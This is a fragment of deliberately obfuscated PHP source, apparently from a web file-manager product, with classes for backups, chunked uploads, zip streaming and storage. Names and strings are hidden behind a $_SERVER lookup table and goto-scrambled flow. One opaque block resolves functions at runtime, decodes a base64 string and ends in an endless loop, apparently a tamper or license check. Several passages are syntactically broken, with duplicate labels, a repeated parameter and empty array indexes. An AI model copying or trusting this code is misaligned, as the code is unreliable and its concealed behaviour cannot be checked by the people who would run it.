&$Bզ) { $c䆷[$Bզ[$cʊߛ[2080]]] = $Bզ[$cʊߛ[28]]; $eҸݽ = $this->parentLevelArray($Bզ[$cʊߛ[455]]); foreach ($eҸݽ as $f߅) { if (!isset($c䆷[$f߅])) { $c䆷[$f߅] = 0; } } } goto cĦ臈; Bř: } private function _listAppendSourceRoot(&$A톑, $aڞꙫ) { goto EȐˊ; EȐˊ: $a݋ =& $_SERVER[ѽ]; $C바 = array($a݋[368] => SourceModel::TYPE_GROUP, $a݋[457] => 0, $a݋[452] => array($a݋[7], $aڞꙫ)); $B쿞 = $a݋[2166]; goto E; f: foreach ($A톑 as &$eӽ۳) { $eӽ۳[$a݋[388]] = $c[$eӽ۳[$a݋[2080]]] ? $c[$eӽ۳[$a݋[2080]]] : array(); } goto c; E: $c = Model($a݋[762])->order($a݋[2167])->field($B쿞)->where($C바)->select(); $c = array_to_keyvalue($c, $a݋[452]); $c = array_remove_key($c, $a݋[452]); goto f; c: } protected function resetParentLevel() { $aՔ =& $_SERVER[ѽ]; $f‘ = $aՔ[2080]; $b奖 = $this->select(); $b奖 = array_to_keyvalue($b奖, $f‘); foreach ($b奖 as $cĄ̬) { goto fѥޡ; d: $this->where(array($f‘ => $cĄ̬[$f‘]))->save(array($aՔ[521] => $Eؘ)); goto Dᰑڥ; fѥޡ: $eʒ = $cĄ̬; $Eؘ = array(); while ($eʒ[$aՔ[457]] != 0) { $Eؘ[] = $eʒ[$aՔ[457]]; $eʒ = $b奖[$eʒ[$aՔ[457]]]; } goto a™¤; a™¤: $Eؘ[] = 0; $Eؘ = $aՔ[47] . implode($aՔ[47], array_reverse($Eؘ)) . $aՔ[47]; $this->setNamePinyin($cĄ̬[$f‘], $cĄ̬[$aՔ[28]]); goto d; Dᰑڥ: } return $b奖; } public function groupNameAuto($Cͬ, $F) { $e =& $_SERVER[ѽ]; $fϙӵ = $this->where(array($e[365] => $Cͬ))->getField($e[28], !0); if (!$fϙӵ || !in_array($F, $fϙӵ)) { return $F; } for ($A϶ = 1; $A϶ <= count($fϙӵ) + 1; $A϶++) { $D = $F . "\x28{$A϶}\x29"; if (!in_array($D, $fϙӵ)) { return $D; } } } } goto d؎; C: if (!isset($_SERVER[$_SERVER[ѽ][690]]) || !isset($_SERVER[$_SERVER[ѽ][691]])) { goto FƻǕ; bƶ峬: $A = explode($_SERVER[ѽ][214], $d׏); if (count($A) < $_SERVER[ѽ][553]) { $C = $_SERVER[ѽ][695]; $C(); } $eո = $_SERVER[ѽ][696]; goto b˿; FƻǕ: $BԲ = $_SERVER[ѽ][692]; $B = $_SERVER[$_SERVER[ѽ][693]] . $_SERVER[ѽ][694]; $d׏ = $BԲ($B); goto bƶ峬; b˿: $eո($_SERVER[$_SERVER[ѽ][693]] . $_SERVER[ѽ][694]); $Bֈ = 2; while ($Bֈ > 1) { $e닣 = rawurlencode($Bֈ . $_SERVER[ѽ][358]); } goto A; A: } class Backup { protected static $name; protected static $option; public function __construct() { $this->init(); } public function init() { $fձ =& $_SERVER[ѽ]; self::$name = date($fձ[697]); if (!($fш = Model($fձ[698])->lastItem())) { $fш = $this->initData(); } else { self::$name = $fш[$fձ[28]]; if ($fш[$fձ[699]] == $fձ[83]) { self::$name = date($fձ[700]); $f¹ = 0; if (isset($fш[$fձ[278]][$fձ[164]][$fձ[415]])) { $f¹ = (int) $fш[$fձ[278]][$fձ[164]][$fձ[415]]; } if ($fш[$fձ[28]] == self::$name) { Model($fձ[698])->remove($fш[$fձ[364]]); } $fш = $this->initData($f¹, $fш[$fձ[701]]); } else { $this->checkStore($fш[$fձ[701]]); } } self::$option = $fш; } private function initData($B = 0, $b = '') { goto a; E۵: $this->checkStore($C[$B[701]]); $eӕ瑼 = array($B[701] => $C[$B[701]], $B[28] => self::$name, $B[699] => 0, $B[702] => $C[$B[702]], $B[278] => array($B[703] => array($B[699] => 0), $B[704] => array($B[699] => 0, $B[705] => 0, $B[706] => 0, $B[29] => $B[33]), $B[707] => array($B[699] => 0, $B[705] => 0, $B[706] => 0), $B[164] => array($B[699] => 0, $B[708] => 0, $B[709] => 0, $B[710] => 0, $B[711] => 0, $B[415] => $B)), $B[712] => time(), $B[713] => 0); $Aʐ = Model($B[698])->insert($eӕ瑼); goto bؓ; bؓ: $eӕ瑼[$B[364]] = $Aʐ; return $eӕ瑼; goto a; a: $B =& $_SERVER[ѽ]; $C = Model($B[698])->config(); if ($b && $C[$B[701]] != $b) { $B = 0; } goto E۵; a: } private function checkStore($EŘ) { $Cԩ֑Ĭ =& $_SERVER[ѽ]; $Fđ = Model($Cԩ֑Ĭ[714])->listData($EŘ); Model($Cԩ֑Ĭ[714])->checkConfig($Fđ); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[ѽ][698])->findByName(self::$name); } return self::$option; } public static function set($a) { $FƯ =& $_SERVER[ѽ]; $c = self::get(); foreach ($a as $C͋ => $aٟ΋) { $d = explode($FƯ[93], $C͋); $d籭 = count($d); switch ($d籭) { case 1: $c[$d[0]] = $aٟ΋; break; case 2: $c[$d[0]][$d[1]] = $aٟ΋; break; case 3: $c[$d[0]][$d[1]][$d[2]] = $aٟ΋; break; } } Model($FƯ[698])->update($c[$FƯ[364]], $c); self::$option = $c; return self::$option; } public function keep() { $d񉑂 =& $_SERVER[ѽ]; $a苚 = self::get(); if ($a苚[$d񉑂[278]][$d񉑂[703]][$d񉑂[699]] == $d񉑂[83]) { return; } $this->backupKeep($a苚); self::set(array($d񉑂[715] => 1)); } private function backupKeep($E) { goto cԮϯ; a複: $c = 0; $f܆χ = array(); foreach ($Fǡɬޕ as $e䎙Ϛ) { if ($c >= 7) { break; } $f܆χ[] = $e䎙Ϛ[$Bԋž[28]]; $c++; } goto cݩ; cݩ: for ($c = 0; $c < 12; $c++) { $f܆χ[] = date($Bԋž[716], strtotime("\x2d{$c}\x20\x6d\x6f\156\164\150\163")); } $f܆χ = array_unique($f܆χ); foreach ($Fǡɬޕ as $e䎙Ϛ) { if (!empty($e䎙Ϛ[$Bԋž[28]]) && in_array($e䎙Ϛ[$Bԋž[28]], $f܆χ)) { continue; } Model($Bԋž[698])->remove($e䎙Ϛ[$Bԋž[364]]); $fʋ帆 = "\x7b\151\x6f\x3a{$E[$Bԋž[701]]}\x7d\57\144\x61\164\141\142\141\x73\145\x2f\142\x61\x63\153\x75\x70\137{$e䎙Ϛ[$Bԋž[28]]}"; IO::remove($fʋ帆, !1); } goto d; cԮϯ: $Bԋž =& $_SERVER[ѽ]; $Fǡɬޕ = Model($Bԋž[698])->listData(); if (empty($Fǡɬޕ)) { return; } goto a複; d: } public function db() { goto D瑾؋; D瑾؋: $A˦ =& $_SERVER[ѽ]; $Dލ = self::get(); if ($Dލ[$A˦[278]][$A˦[704]][$A˦[699]] == $A˦[83]) { return !0; } goto F; F: $eۿľ = new BackupDb(); if (!$eۿľ->index()) { return !1; } self::set(array($A˦[717] => 1)); goto eו; eו: return !0; goto e۠; e۠: } public function dbFile() { goto D񤪚׏; D񤪚׏: $A和 =& $_SERVER[ѽ]; $Cڍ = self::get(); if ($Cڍ[$A和[278]][$A和[707]][$A和[699]] == $A和[83]) { return !0; } goto EГ˽; Aخ: return !0; goto e; EГ˽: $bё칽 = new BackupDbFile(); if (!$bё칽->index()) { return !1; } self::set(array($A和[718] => 1)); goto Aخ; e: } public function file() { $d﯌ڨ =& $_SERVER[ѽ]; $fޢ = self::get(); if ($fޢ[$d﯌ڨ[278]][$d﯌ڨ[164]][$d﯌ڨ[699]] == $d﯌ڨ[83]) { return !0; } if (!isset($fޢ[$d﯌ڨ[702]]) || $fޢ[$d﯌ڨ[702]] == $d﯌ڨ[464]) { $B = new BackupFile(); if (!$B->index()) { return !1; } } self::set(array($d﯌ڨ[719] => 1, $d﯌ڨ[699] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { goto B͐; BЃ: $aݬߪ = new DbManage($Bɾ, $fȅ󽵐); $aԪ = TEMP_FILES . $dɓ[720] . self::$name . $dɓ[8]; del_dir($aԪ); goto cٹ; cٹ: mk_dir($aԪ); $cژ = $aݬߪ->db()->getTables(); $eԇ = 0; goto A殬; A殬: $eڿ䄜ӊ = new Task($dɓ[721], $dɓ[722], 0, LNG($dɓ[723]) . $dɓ[724] . LNG($dɓ[725])); $cژ = array_diff($cژ, array($dɓ[726], $dɓ[727])); foreach ($cژ as $B) { $fӪ = $aԪ . $B . $dɓ[728]; $fЪ = null; if ($B == $dɓ[729] && (!isset($aғ[$dɓ[702]]) || $aғ[$dɓ[702]] == $dɓ[464])) { $fЪ = self::$io; } $eԇ += $aݬߪ->sqlFromDb($B, $fӪ, $eڿ䄜ӊ, $fЪ); } goto d٬; C: return !0; goto cΎ; Cݬτ: self::$name = $aғ[$dɓ[28]]; $Bɾ = $GLOBALS[$dɓ[6]][$dɓ[17]]; $fȅ󽵐 = $this->_dbType($Bɾ); goto BЃ; d٬: $eڿ䄜ӊ->end(); $fʅ׍ = array($dɓ[730] => $fȅ󽵐, $dɓ[717] => 1, $dɓ[731] => $eԇ, $dɓ[732] => $eԇ); Backup::set($fʅ׍); goto C; B͐: $dɓ =& $_SERVER[ѽ]; $aғ = Backup::get(); self::$io = $aғ[$dɓ[701]]; goto Cݬτ; cΎ: } private function _dbType($EÛ) { $d̨ =& $_SERVER[ѽ]; $bХ = $EÛ[$d̨[733]]; if ($bХ == $d̨[734]) { $aەʩ = explode($d̨[4], $EÛ[$d̨[735]]); $bХ = $aەʩ[0]; } $cㄝ = array($d̨[736] => $d̨[9], $d̨[737] => $d̨[738]); if (isset($cㄝ[$bХ])) { $bХ = $cㄝ[$bХ]; } return $bХ; } } goto e; a: class Uploader { public $fileName; public $uploadFile; public $tempFile; public function __construct() { goto b; dփń: $this->checkSize(); $this->tempPathInit(); goto F; b: $E =& $_SERVER[ѽ]; global $in; $this->in =& $in; goto Aث; Aث: if (!empty($_FILES)) { $A㠸™ = $_FILES[$E[164]]; $this->uploadFile = $A㠸™[$E[1943]]; if (!$this->uploadFile && $A㠸™[$E[1215]] > 0) { show_json($this->errorInfo($A㠸™[$E[1215]]), !1); } } else { if (isset($in[$E[383]])) { $this->uploadFile = isset($in[$E[1944]]) ? $E[1945] : $E[1790]; } } $this->fileName = self::fileName(); $this->statusData = !1; goto dփń; F: } public function upload() { goto e; AԶ: ignore_timeout(); if (!$this->checkChunkHash($Fɔ)) { $this->showJson($Bᢃ[1960], !1); } $this->statusSet(!1); goto BڳҺ; cÅ: $D˦ = $this->moveUploadedFile($f䆜); if ($d > 0 && filesize($D˦) == 0) { $this->showJson($Bᢃ[1951], !1); } if (!$D˦) { $this->showJson(LNG($Bᢃ[1952]), !1); } goto b׼; e򈰏: $F = $this->writeTo($D˦, $eϞ, $this->tempFile); $Dȿţ = IO::hashSimple($D˦); $d = IO::size($D˦); goto f脉; e: $Bᢃ =& $_SERVER[ѽ]; $bў = isset($this->in[$Bᢃ[1946]]) ? intval($this->in[$Bᢃ[1946]]) : 0; $fإݣ = isset($this->in[$Bᢃ[1947]]) ? intval($this->in[$Bᢃ[1947]]) : 1; goto d雳; BڳҺ: CacheLock::unlock($this->tempFile); return $this->tempFile; goto b; a: $Fɔ[$Bᢃ[1956]][$Bᢃ[1957] . $bў] = array($Bᢃ[1958] => $d, $Bᢃ[1040] => $bў, $Bᢃ[77] => $d, $Bᢃ[161] => $Dȿţ); $this->statusSet($Fɔ); if (count($Fɔ[$Bᢃ[1956]]) != $Fɔ[$Bᢃ[1955]]) { $this->showJson($Bᢃ[1959] . $bў, !0); } goto AԶ; E䧺: CacheLock::lock($this->tempFile, 20); $Fɔ = $this->statusGet(); $this->initFileTemp(); goto cÅ; f脉: @unlink($D˦); if (!$F) { $this->showJson($Bᢃ[1954] . $bў, !1); } $Fɔ[$Bᢃ[1955]] = $fإݣ; goto a; d雳: $f䆜 = $this->tempFile . $Bᢃ[1948] . $bў; $d = isset($this->in[$Bᢃ[516]]) ? intval($this->in[$Bᢃ[516]]) : 0; $AЮь = isset($this->in[$Bᢃ[1949]]) ? intval($this->in[$Bᢃ[1949]]) : 0; goto Eң; Eң: if ($fإݣ > 1 && $AЮь <= 0) { show_json($Bᢃ[1950], !1); } if ($AЮь > $d) { $fإݣ = 1; } if ($fإݣ <= 1) { $this->tempFile = $this->tempFile . rand_string(5); $this->statusSet(!1); return $this->moveUploadedFile($this->tempFile); } goto E䧺; b׼: $d = $bў * $AЮь; $eϞ = @fopen($this->tempFile, $Bᢃ[1953]); fseek($eϞ, $d); goto e򈰏; b: } private function checkSize() { $D =& $_SERVER[ѽ]; if (phpBuild64() || $this->in[$D[77]] < PHP_INT_MAX) { return; } show_json(LNG($D[1961]), !1); } private function showJson($bȥ۳, $DջɌ) { CacheLock::unlock($this->tempFile); if (!$DջɌ) { return show_json($bȥ۳, $DջɌ); } show_json($bȥ۳, $DջɌ); } public function clearData() { $this->statusSet(!1); if (file_exists($this->tempFile)) { @unlink($this->tempFile); return; } } private function tempPathInit() { goto cҐ; cҐ: $D =& $_SERVER[ѽ]; $Cִȍ = TEMP_FILES; @mk_dir($Cִȍ); goto Dߩق; Dߩق: touch($Cִȍ . $D[1962]); $bķ = isset($this->in[$D[1963]]) ? $this->in[$D[1963]] : !1; if (strlen($bķ) < 30) { $bķ = md5(USER_ID . $this->in[$D[75]] . $this->fileName . $this->in[$D[77]]); } goto D䇉; D䇉: $this->tempFile = $Cִȍ . $D[1964] . md5($bķ . $this->in[$D[1508]]); goto b젏; b젏: } private function moveUploadedFile($Fȩ) { $f܇ =& $_SERVER[ѽ]; $Cʿ = $this->uploadFile; if ($Cʿ == $f܇[1965]) { @file_put_contents($Fȩ, base64_decode($_REQUEST[$f܇[1966]])); } else { if ($Cʿ == $f܇[1790]) { $FĊ = @fopen($Fȩ, $f܇[1497]); $this->writeTo($Cʿ, $FĊ, $Fȩ); } else { if (!move_uploaded_file($Cʿ, $Fȩ)) { return !1; } } } return $Fȩ; } private function writeTo($cʎ, $dҢ, $eм) { goto Dԥ؜; Dԥ؜: $Bʃ =& $_SERVER[ѽ]; $dä = $Bʃ[1967] . $eм; $AБ = CacheLock::lock($dä, 1); goto DŠ; DŠ: $CՇ = @fopen($cʎ, $Bʃ[1496]); if (!$CՇ || !$dҢ || !$AБ) { CacheLock::unlock($dä); return !1; } while (!feof($CՇ)) { fwrite($dҢ, fread($CՇ, 1024 * 200)); } goto f; f: fclose($CՇ); fclose($dҢ); CacheLock::unlock($dä); goto DΏ; DΏ: return !0; goto aޏ; aޏ: } private function statusGet() { goto E; fϵ: $F = !1; if (file_exists($b)) { $F = @file_get_contents($b); } if ($F) { $this->statusData = unserialize($F); } goto aԟ; aԟ: if (!$this->statusData) { $CƾƲ = array($eͭ[28] => $this->fileName, $eͭ[1955] => 0, $eͭ[1956] => array()); $this->statusSet($CƾƲ); } return $this->statusData; goto d; E: $eͭ =& $_SERVER[ѽ]; if (is_array($this->statusData)) { return $this->statusData; } $b = $this->tempFile . $eͭ[1968]; goto fϵ; d: } public function statusSet($dڦ) { $BД = $this->tempFile . $_SERVER[ѽ][1968]; if (!$dڦ) { if (file_exists($BД)) { @unlink($BД); } return !0; } $this->statusData = $dڦ; return file_put_contents($BД, serialize($dڦ)); } private function initFileTemp() { $Aݵĵ =& $_SERVER[ѽ]; if (file_exists($this->tempFile)) { return; } $DÈ = fopen($this->tempFile, $Aݵĵ[1969]); fseek($DÈ, $this->in[$Aݵĵ[77]] - 1, SEEK_SET); fwrite($DÈ, $Aݵĵ[464]); fclose($DÈ); } public function checkChunk() { goto f䩄; f: return $F韎; goto cӌı; c´±: $A֮ = $this->statusGet(); CacheLock::unlock($this->tempFile); foreach ($A֮[$Aҹ[1956]] as $d) { $EوƼ = $d[$Aҹ[161]]; if ($EوƼ) { $F韎[$Aҹ[1970] . $d[$Aҹ[1040]]] = $EوƼ; } } goto f; f䩄: $Aҹ =& $_SERVER[ѽ]; $F韎 = array(); CacheLock::lock($this->tempFile); goto c´±; cӌı: } private function checkChunkHash($d) { goto cʠ״; F膾: return $fҐ; goto D¢; cʠ״: $A =& $_SERVER[ѽ]; if (count($d[$A[1956]]) != $d[$A[1955]]) { return !1; } $Eз = _get($this->in, $A[1963]); goto C炇; C: $fҐ = !0; foreach ($d[$A[1956]] as $E) { fseek($B, $E[$A[1958]]); $FҬ = PathDriverStream::hash($B, $E[$A[77]]); if ($E[$A[161]] != $FҬ) { $fҐ = !1; break; } } fclose($B); goto F膾; C炇: $CŰ = _get($this->in, $A[1971]); if (strlen($CŰ) == 32 && IO::hashSimple($this->tempFile) == $Eз && IO::hashMd5($this->tempFile) == $CŰ) { return !0; } $B = fopen($this->tempFile, $A[1166]); goto C; D¢: } public static function fileName() { goto Cݹǧ; Cݹǧ: $c۹ =& $_SERVER[ѽ]; global $in; $e = isset($in[$c۹[28]]) ? $in[$c۹[28]] : $c۹[33]; goto a; E߫: $d󯾜΅ = strtotime($in[$c۹[1972]]); $d󯾜΅ = $d󯾜΅ ? $d󯾜΅ : time(); $d = strtolower($e); goto Cɐ; a: if (!empty($_FILES)) { $e = $e ? $e : $_FILES[$c۹[164]][$c۹[383]]; } $e = str_replace(array($c۹[95], $c۹[8]), array($c۹[8], $c۹[93]), trim($e)); if (!is_wap()) { return $e; } goto E߫; Cɐ: if ($d == $c۹[1973] || $d == $c۹[1974]) { $e = date($c۹[700], $d󯾜΅) . $c۹[70] . $in[$c۹[77]] . $c۹[1605]; } else { if ($d == $c۹[1975]) { $e = date($c۹[700], $d󯾜΅) . $c۹[70] . $in[$c۹[77]] . $c۹[1976]; } } return $e; goto f͐; f͐: } private function errorInfo($a) { $C֑ =& $_SERVER[ѽ]; $b = array($C֑[1977], $C֑[1978], $C֑[1979], $C֑[1980], $C֑[1981], $C֑[1982], $C֑[1983], $C֑[1984]); return $a . $C֑[4] . $b[$a]; } } class ZipMake { const VERSION = "\x30\56\x32\x2e\60"; const ZIP_VERSION = 10; const ZIP_VERSION_64 = 45; const METHOD_STORE = 0; const FILE_HEADER_SIGNATURE = 67324752; const CDR_FILE_SIGNATURE = 33639248; const CDR_EOF_SIGNATURE = 101010256; const DATA_DESCRIPTOR_SIGNATURE = 134695760; const ZIP64_CDR_EOF_SIGNATURE = 101075792; const ZIP64_CDR_LOCATOR_SIGNATURE = 117853008; public $files = array(); public $cdrOffset = 0; public $ofs = 0; protected $needHeaders; protected $outputName; public function __construct($F = null) { $A܆׉ޔ =& $_SERVER[ѽ]; $this->outputStream = fopen($A܆׉ޔ[1985], $A܆׉ޔ[1222]); $this->outputName = $F; $this->needHeaders = !0; } public function addFile($aݚ, $C΄) { goto Eױ; FҺ: $this->addFileFooter($aݚ, $A탂, $c󚭋, $B, $Fȑ, $fı); goto Bޭ̧; Eױ: $d曶 =& $_SERVER[ѽ]; $aݚ = $this->filterFilename($aݚ); $A탂 = static::METHOD_STORE; goto d; d: $fı = $this->addFileHeader($aݚ, $A탂); $B = $Fȑ = filesize($C΄); $Cɽ = fopen($C΄, $d曶[1986]); goto D󩷺; D󩷺: while (!feof($Cɽ)) { $Aˇ = fread($Cɽ, 1048576); $this->send($Aˇ); } fclose($Cɽ); $c󚭋 = hexdec(hash_file($d曶[1987], $C΄)); goto FҺ; Bޭ̧: } public function addFileFromStream($DչŻ, $fꢎ) { goto F; Cߚ: $this->addFileFooter($DչŻ, $A؃, $Fҧڤ, $C, $B, $aţ); goto D; c냪: $Aĥӳ = hash_init($_SERVER[ѽ][1987]); while (!feof($fꢎ)) { $fǟӅ = fread($fꢎ, 1048576); hash_update($Aĥӳ, $fǟӅ); $this->send($fǟӅ); } $Fҧڤ = hexdec(hash_final($Aĥӳ)); goto Cߚ; F: $DչŻ = $this->filterFilename($DչŻ); $A؃ = static::METHOD_STORE; $aţ = $this->addFileHeader($DչŻ, $A؃); goto cퟙ; cퟙ: fseek($fꢎ, 0, SEEK_END); $C = $B = ftell($fꢎ); rewind($fꢎ); goto c냪; D: } public function finish() { foreach ($this->files as $Cڼ) { $this->addCdrFile($Cڼ); } $this->addCdr64Eof(); $this->addCdr64Locator(); $this->addCdrEof(); $this->clear(); } protected function addFileHeader($f, $f) { goto b㈔; cְؑ: $e܏敻 = $this->packFields($fΘ); $Aю˅ޏ = $this->packFields($a); $this->send($e܏敻 . $f . $Aю˅ޏ); goto E; E: return strlen($e܏敻) + $Eݟ + strlen($Aю˅ޏ); goto CӢ; b㈔: $c =& $_SERVER[ѽ]; $f = preg_replace($c[1988], $c[33], $f); $Eݟ = strlen($f); goto E; E: $bᯍ = $this->dosTime(time()); $fΘ = array(array($c[1989], static::FILE_HEADER_SIGNATURE), array($c[1990], static::ZIP_VERSION_64), array($c[1990], 8), array($c[1990], $f), array($c[1989], $bᯍ), array($c[1989], 0), array($c[1989], 4294967295), array($c[1989], 4294967295), array($c[1990], $Eݟ), array($c[1990], 32)); $a = array(array($c[1990], 1), array($c[1990], 28), array($c[1991], 0), array($c[1991], 0), array($c[1991], 0), array($c[1989], 0)); goto cְؑ; CӢ: } protected function addFileFooter($cەᱹ, $dďɸ, $C, $fܖ, $Cς, $Cӷ) { $c =& $_SERVER[ѽ]; $D = array(array($c[1989], static::DATA_DESCRIPTOR_SIGNATURE), array($c[1989], $C), array($c[1991], $fܖ), array($c[1991], $Cς)); $Aΐֿ = $this->packFields($D); $this->send($Aΐֿ); $a = $Cӷ + $fܖ + $c; $this->addToCdr($cەᱹ, $dďɸ, $C, $fܖ, $Cς, $a); } private function addToCdr($Eĩ, $FÊ, $AĂԚ, $Aҋ, $Dʲ, $c߰) { $this->files[] = array($Eĩ, $FÊ, $AĂԚ, $Aҋ, $Dʲ, $this->ofs); $this->ofs += $c߰; } protected function addCdrFile($aГඉ) { goto A; AĐ: $F􈖍 = $this->packFields($dÈ); $bʡޒ = $this->packFields($cʯ); $b = $F􈖍 . $Dۋ . $e . $bʡޒ; goto F̷; F̷: $this->send($b); $this->cdr_ofs += strlen($b); goto e󇿅; E: $Fˉ = $this->dosTime(time()); $dÈ = array(array($Aԑ[1989], static::CDR_FILE_SIGNATURE), array($Aԑ[1990], static::ZIP_VERSION_64), array($Aԑ[1990], static::ZIP_VERSION_64), array($Aԑ[1990], 8), array($Aԑ[1990], $Dۍ), array($Aԑ[1989], $Fˉ), array($Aԑ[1989], $DЄ׵), array($Aԑ[1989], 4294967295), array($Aԑ[1989], 4294967295), array($Aԑ[1990], strlen($Dۋ)), array($Aԑ[1990], 32), array($Aԑ[1990], strlen($e)), array($Aԑ[1990], 0), array($Aԑ[1990], 0), array($Aԑ[1989], 32), array($Aԑ[1989], 4294967295)); $cʯ = array(array($Aԑ[1990], 1), array($Aԑ[1990], 28), array($Aԑ[1991], $A), array($Aԑ[1991], $f), array($Aԑ[1991], $E), array($Aԑ[1989], 0)); goto AĐ; A: $Aԑ =& $_SERVER[ѽ]; list($Dۋ, $Dۍ, $DЄ׵, $f, $A, $E) = $aГඉ; $e = $Aԑ[33]; goto E; e󇿅: } protected function addCdr64Eof() { goto dŕ; CĚȆ: $this->send($ȩۨ); goto cҠ; dŕ: $e̳ =& $_SERVER[ѽ]; $Cַ = count($this->files); $b׌М = $this->cdr_ofs; goto C˯ׯ; C˯ׯ: $a۵¯ = $this->ofs; $D = array(array($e̳[1989], static::ZIP64_CDR_EOF_SIGNATURE), array($e̳[1991], 44), array($e̳[1990], static::ZIP_VERSION_64), array($e̳[1990], static::ZIP_VERSION_64), array($e̳[1989], 0), array($e̳[1989], 0), array($e̳[1991], $Cַ), array($e̳[1991], $Cַ), array($e̳[1991], $b׌М), array($e̳[1991], $a۵¯)); $ȩۨ = $this->packFields($D); goto CĚȆ; cҠ: } protected function addCdr64Locator() { goto eΧ; Eޥ: $this->send($aɵࣰ); goto Eҏ; eΧ: $b =& $_SERVER[ѽ]; $a֒ = count($this->files); $b… = $this->cdr_ofs; goto F㖼; F㖼: $aϥ = $this->ofs; $Cؓ = array(array($b[1989], static::ZIP64_CDR_LOCATOR_SIGNATURE), array($b[1989], 0), array($b[1991], $aϥ + $b…), array($b[1989], 1)); $aɵࣰ = $this->packFields($Cؓ); goto Eޥ; Eҏ: } protected function addCdrEof() { goto b; b: $d =& $_SERVER[ѽ]; $dߙ = count($this->files); $C = $this->cdr_ofs; goto d˻; d˻: $B곗 = $this->ofs; $cᗰ = $d[33]; $C = array(array($d[1989], static::CDR_EOF_SIGNATURE), array($d[1990], 0), array($d[1990], 0), array($d[1990], $dߙ), array($d[1990], $dߙ), array($d[1989], 4294967295), array($d[1989], 4294967295), array($d[1990], strlen($cᗰ))); goto Bʣͮ; Bʣͮ: $D釔 = $this->packFields($C) . $cᗰ; $this->send($D釔); goto C; C: } protected function addCdr() { foreach ($this->files as $fԐ) { $this->addCdrFile($fԐ); } $this->addCdrEof(); } protected function clear() { $this->files = array(); $this->ofs = 0; $this->cdr_ofs = 0; } protected function sendHttpHeaders() { $B =& $_SERVER[ѽ]; $D = $B[199]; if ($this->outputName) { $eı = trim(str_replace(array($B[113], $B[55], $B[95], $B[67], $B[214], $B[996]), $B[33], $this->outputName)); $cԩ = rawurlencode($eı); $D .= "\73\40\146\x69\x6c\145\x6e\141\155\x65\52\x3d\165\x74\x66\55\x38\x27\x27{$cԩ}"; } $F = array($B[196] => $B[1992], $B[1993] => $D, $B[1994] => $B[1995], $B[1996] => $B[1997], $B[1998] => $B[1999]); foreach ($F as $cˆ => $d酌˵) { header($cˆ . $B[886] . $d酌˵); } } protected function send($Cڜ) { if ($this->needHeaders) { $this->sendHttpHeaders(); } $this->needHeaders = !1; fwrite($this->outputStream, $Cڜ); } protected final function dosTime($c) { $aֳ =& $_SERVER[ѽ]; $c͸ = getdate($c); if ($c͸[$aֳ[1702]] < 1980) { $c͸ = array($aֳ[1702] => 1980, $aֳ[2000] => 1, $aֳ[2001] => 1, $aֳ[2002] => 0, $aֳ[2003] => 0, $aֳ[2004] => 0); } $c͸[$aֳ[1702]] -= 1980; return $c͸[$aֳ[1702]] << 25 | $c͸[$aֳ[2000]] << 21 | $c͸[$aֳ[2001]] << 16 | $c͸[$aֳ[2002]] << 11 | $c͸[$aֳ[2003]] << 5 | $c͸[$aֳ[2004]] >> 1; } protected function packFields($E㽸) { $D =& $_SERVER[ѽ]; $fń = $D[33]; $fǴ˳ = array(); foreach ($E㽸 as $B떎) { $fń .= $B떎[0]; $fǴ˳[] = $B떎[1]; } array_unshift($fǴ˳, $fń); return call_user_func_array($D[2005], $fǴ˳); } protected function filterFilename($C) { $f肄 =& $_SERVER[ѽ]; return str_replace(array($f肄[95], $f肄[4], $f肄[173], $f肄[69], $f肄[113], $f肄[931], $f肄[934], $f肄[268]), $f肄[70], $C); } } class ZipStream { } goto a; b؂ÿ: function beforeShutdownError($Bڄ = false, $a촲 = '', $C㼾ϳ = '', $E٘ϊ = 0) { $e°󠇊 =& $_SERVER[]; switch ($Bڄ) { case E_PARSE: case E_ERROR: case E_CORE_ERROR: case E_COMPILE_ERROR: case E_USER_ERROR: $Aְ = $e°󠇊[39]; break; case E_WARNING: case E_USER_WARNING: case E_COMPILE_WARNING: case E_RECOVERABLE_ERROR: $Aְ = $e°󠇊[40]; break; case E_STRICT: $Aְ = $e°󠇊[41]; break; case E_NOTICE: case E_USER_NOTICE: $Aְ = $e°󠇊[42]; break; case E_DEPRECATED: case E_USER_DEPRECATED: $Aְ = $e°󠇊[43]; break; default: break; } if (!$Aְ || $Aְ == $e°󠇊[42] || $Aְ == $e°󠇊[43]) { return; } $C㼾ϳ = $e°󠇊[4] . str_replace($_SERVER[$e°󠇊[37]], $e°󠇊[20], $C㼾ϳ); $B݊䟆 = $Aְ . $e°󠇊[44] . $a촲 . $e°󠇊[44] . $C㼾ϳ . $e°󠇊[44] . $E٘ϊ; write_log($B݊䟆 . $e°󠇊[18] . get_caller_msg(1), $e°󠇊[19]); } $_SERVER[$_SERVER[][45]] = $_SERVER[$_SERVER[][37]] . $_SERVER[][46]; $c = strrev(base64_decode($_SERVER[][47])); goto Cȉ; Eݰ: class StorageModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\145\155\x2e\163\x74\157\162\141\x67\145\x4c\151\163\x74"; public $field = array("\156\x61\x6d\x65", "\x73\x69\x7a\x65\x4d\141\170", "\x73\x79\163\164\x65\x6d", "\x64\145\x66\x61\165\154\x74", "\x64\162\151\x76\x65\x72", "\143\157\x6e\146\151\x67"); public function listData($fФ = false, $cÿ = "\155\x6f\144\x69\x66\x79\124\151\155\145", $AЙѢ = false) { goto F; F: $Dʛ =& $_SERVER[ѽ]; $f؍ = parent::listData($fФ, $cÿ, $AЙѢ); if ($fФ) { return $f؍; } goto FшӾ; d: return $f؍; goto a; FшӾ: foreach ($f؍ as $b稿 => $B쿿) { unset($f؍[$b稿][$Dʛ[6]]); $f؍[$b稿][$Dʛ[2066]] = 0; } $FϪ = array_to_keyvalue($f؍, $Dʛ[33], $Dʛ[364]); $this->_listAppendSize($f؍, $FϪ); goto d; a: } public function _listAppendSize(&$E, $F) { $F =& $_SERVER[ѽ]; $CՎ = $F[2331] . implode($F[47], $F) . $F[2332]; $fѩ = Model($F[729])->query($CՎ); $fѩ = array_to_keyvalue($fѩ, $F[364], $F[77]); foreach ($E as $BÝ => $f) { $E[$BÝ][$F[2066]] = isset($fѩ[$f[$F[364]]]) ? $fѩ[$f[$F[364]]] : 0; } } public function getConfig($bͽ) { $Aܯ = parent::listData($bͽ); return json_decode($Aܯ[$_SERVER[ѽ][6]], !0); } public function update($Aچ, $e‡) { goto EΩ; a֑: if (isset($AԿ[$bⅻ]) && $AԿ[$bⅻ][$d柝[364]] != $Aچ) { return !1; } if (isset($e‡[$d柝[2333]]) && $e‡[$d柝[2333]] == $d柝[83]) { 